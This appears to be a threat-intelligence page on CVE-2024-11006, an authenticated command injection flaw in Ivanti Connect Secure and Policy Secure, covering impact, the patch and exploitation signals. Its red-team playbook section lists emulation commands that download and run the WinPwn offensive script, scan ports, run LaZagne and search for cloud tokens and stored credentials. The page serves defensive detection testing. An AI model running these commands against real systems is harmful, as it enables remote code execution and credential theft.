CVE-2024-11006
Overview
This vulnerability is a command injection flaw rooted in improper input validation within Ivanti Connect Secure and Ivanti Policy Secure. The flaw exists in administrative interfaces where user-supplied input is executed without adequate sanitization, allowing crafted commands to be injected and executed on the underlying operating system. The affected components include versions prior to 22.7R2.1 for Connect Secure and 22.7R1.1 for Policy Secure, specifically excluding 9.1Rx branch versions.
Vulnerability Description
Command injection in Ivanti Connect Secure before version 22.7R2.1 (Not Applicable to 9.1Rx) and Ivanti Policy Secure before version 22.7R1.1 (Not Applicable to 9.1Rx) allows a remote authenticated attacker with admin privileges to achieve remote code execution.
Impact
An authenticated attacker with administrative privileges can execute arbitrary commands on the affected systems remotely, resulting in full system compromise. This requires network access to the management interface and valid admin credentials. Successful exploitation can lead to unauthorized data access, system control, and potential lateral movement within the enterprise environment. The CVSS vector indicates high impact with network attack vector (AV:N), low attack complexity (AC:L), and high privileges required (PR:H), emphasizing the criticality when admin access is obtained.
Solution
Ivanti recommends upgrading Ivanti Connect Secure to version 22.7R2.1 or later and Ivanti Policy Secure to version 22.7R1.1 or later. These versions include fixes that address the command injection vulnerability. Detailed patch instructions and advisory information are available at the Ivanti security advisory page: https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs. No alternative mitigations are specified beyond applying the vendor-supplied updates.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The command injection vulnerability present in specific versions of Ivanti Connect Secure and Ivanti Policy Secure poses a significant risk to organizations utilizing these products. This vulnerability allows a remote authenticated attacker with administrative privileges to execute arbitrary commands on the affected systems. The underlying issue stems from insufficient input validation, which enables attackers to manipulate command execution paths. By crafting malicious input, an attacker can gain control over the system, potentially leading to unauthorized access to sensitive data, system configurations, and other critical resources.
Exploitation of this vulnerability typically requires that the attacker already possesses administrative access, which may limit the pool of potential attackers but does not mitigate the risk. Attack vectors may include exploiting weak or compromised administrative credentials, allowing attackers to leverage their access to execute arbitrary commands. Scenarios could involve an attacker using social engineering techniques to obtain administrative credentials or exploiting other vulnerabilities within the network to escalate privileges. Once inside, the attacker could execute commands that alter system configurations, deploy malware, or exfiltrate sensitive information, thereby compromising the integrity and confidentiality of the organization’s data.
The real-world impact of this vulnerability can be profound. Organizations relying on Ivanti's products for secure remote access and policy enforcement may find themselves exposed to severe business risks, including data breaches, operational disruptions, and reputational damage. The ability to execute arbitrary commands remotely can lead to a complete compromise of the affected systems, resulting in unauthorized access to sensitive information such as customer data, intellectual property, and proprietary business processes. The financial implications of such breaches can be significant, encompassing regulatory fines, legal costs, and the expenses associated with incident response and recovery efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating and patching systems to the latest versions is crucial, as this vulnerability is addressed in subsequent releases of the affected products. Additionally, organizations should conduct thorough security assessments and penetration testing to identify any existing vulnerabilities and misconfigurations within their environments. Implementing strict access controls and monitoring administrative activities can also help detect suspicious behavior indicative of exploitation attempts. Employing intrusion detection systems (IDS) and anomaly detection tools can further enhance an organization’s ability to identify and respond to potential threats in real-time.
In conclusion, the command injection vulnerability in Ivanti Connect Secure and Ivanti Policy Secure represents a significant threat to organizations that utilize these products. The potential for remote code execution by an authenticated attacker underscores the importance of maintaining robust security practices, including timely updates, vigilant monitoring, and comprehensive access controls. By adopting a proactive security posture, organizations can mitigate the risks associated with this vulnerability and safeguard their critical assets against exploitation.
CSURFACE threat intelligence has detected a measurable increase in the Exploit Prediction Scoring System (EPSS) for CVE-2024-11006, reflecting a growing likelihood of exploitation despite the absence of new public exploit disclosures. The EPSS score’s rise to the 0.22 range, placing it near the 96th percentile, signals heightened attacker interest or improved exploit reliability in controlled environments. Although our telemetry does not indicate a surge in active exploitation attempts, this upward trend suggests that threat actors with administrative access may be increasingly motivated to leverage this command injection vulnerability for remote code execution. For defenders, this shift underscores the urgency of maintaining vigilant monitoring and reinforces the vulnerability’s status as a high-risk vector within affected Ivanti products. Consequently, the overall threat level should be considered elevated, warranting continued prioritization in vulnerability management programs.
Update 2 — July 12, 2026
CSURFACE threat intelligence has detected an initial confirmed sighting of exploitation attempts targeting CVE-2024-11006, marking a significant shift from prior inactivity. This emergence coincides with a sharp escalation in telemetry signals indicative of adversaries actively leveraging the command injection vulnerability in Ivanti Connect Secure. Although the overall EPSS score remains moderate and stable, the presence of authenticated remote code execution attempts elevates the operational risk, particularly given the requirement for administrative privileges. This development signals that threat actors with sufficient access are increasingly motivated to exploit this high-severity vulnerability, potentially facilitating lateral movement or persistent footholds within compromised networks. Consequently, the threat landscape for affected Ivanti products has intensified, warranting heightened vigilance and prioritization in ongoing defensive postures.
Affected Products (13)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Connect Secure | All |
cpe:2.3:a:ivanti:connect_secure:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | All |
cpe:2.3:a:ivanti:connect_secure:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:-:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.4:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r1.5:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 22.7 |
cpe:2.3:a:ivanti:connect_secure:22.7:r2:*:*:*:*:*:*
|
|
|
Ivanti | Policy Secure | All |
cpe:2.3:a:ivanti:policy_secure:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Policy Secure | All |
cpe:2.3:a:ivanti:policy_secure:*:*:*:*:*:*:*:*
|
|
|
Ivanti | Policy Secure | 22.7 |
cpe:2.3:a:ivanti:policy_secure:22.7:r1:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
1 eventsSighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
47%
|
High | High | |
| CAPEC-6 | Argument Injection |
46%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-11006 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-ICS-Ivanti-Policy-Secure-IPS-Ivanti-Secure-Access-Client-ISAC-Multiple-CVEs |